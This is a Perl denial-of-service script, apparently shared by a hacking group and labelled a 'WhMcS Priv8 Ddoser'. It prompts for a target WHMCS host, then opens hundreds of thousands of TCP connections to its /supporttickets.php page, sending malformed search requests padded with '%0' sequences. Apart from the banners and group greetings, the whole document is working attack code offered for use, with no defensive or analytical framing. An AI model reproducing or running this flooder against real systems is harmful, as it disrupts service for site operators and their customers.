Another ddosser...

#!/usr/bin/perl
# WhMcS Priv8 Ddoser Coded Written By Amir
# IeDb.Ir - IrIsT.Ir - redhathackers.org
#################################
#
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@            @@@  @@@@@@@
#     @@@    @@@@@@@@@@@    @@@  @@         @@@     @@            @@@  @@@@@@@@
#     @@@    @@@            @@@    @@       @@@       @@          @@@  @@@  @@@
#     @@@    @@@            @@@      @@     @@@     @@            @@@  @@@  @@@
#     @@@    @@@@@@@@@@@    @@@       @     @@@@@@@@@@            @@@  @@@@@@
#     @@@    @@@@@@@@@@@    @@@     @@      @@@     @@            @@@  @@@@@@
#     @@@    @@@            @@@   @@        @@@       @@   @@@    @@@  @@@ @@@
#     @@@    @@@            @@@ @@          @@@     @@     @@@    @@@  @@@  @@@
#     @@@    @@@@@@@@@@@    @@@@@           @@@@@@@@@@     @@@    @@@  @@@   @@@
#
#####################################

use IO::Socket;
print "##########################################################\n";
print "#                                                        #\n";
print "#             WhMcS Priv8 Ddoser                         #\n";
print "#          Iranian Exploit Database                      #\n";
print "#  example: clients.site.com                             #\n";
print "#  Coded Written By Amir == IeDb.Ir & IeDb.Ir/acc        #\n";
print "#  Greetz : all members In IeDb.ir And redhathackers.org #\n";
print "#                                                        #\n";
print "##########################################################\n";
print "example = clients.site.com : ";
$HOST = <STDIN>;
chop ($HOST);

$i=0;
while($i<500000){
$i++;

$lower=1;
$upper=200000;
$random = int(rand( $upper-$lower+1 ) ) + $lower;
$FILE = "searchterm=%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0";
$LENGTH = length $FILE;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "+";
print $get1 "GET /supporttickets.php HTTP/1.1\n";
print $get1 "Host: ".$HOST. "\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$LENGTH."\n\n";
print $get1 $FILE;
syswrite STDOUT, "+";
}
# We Are : Red V!per - C0dex - Behzad - Bl4ck M4n - F@riD - Medrik - TaK.FaNaR - ErfanMs - Dj.TiniVini
# 0x0ptim0us - ARTA - 0Day - Det3cT0r - Dj.TiniVini - E2MA3N - H-SK33PY - l4tr0d3ctism - gabby
#                   IeDb.Ir = IrIsT.Ir = redhathackers.org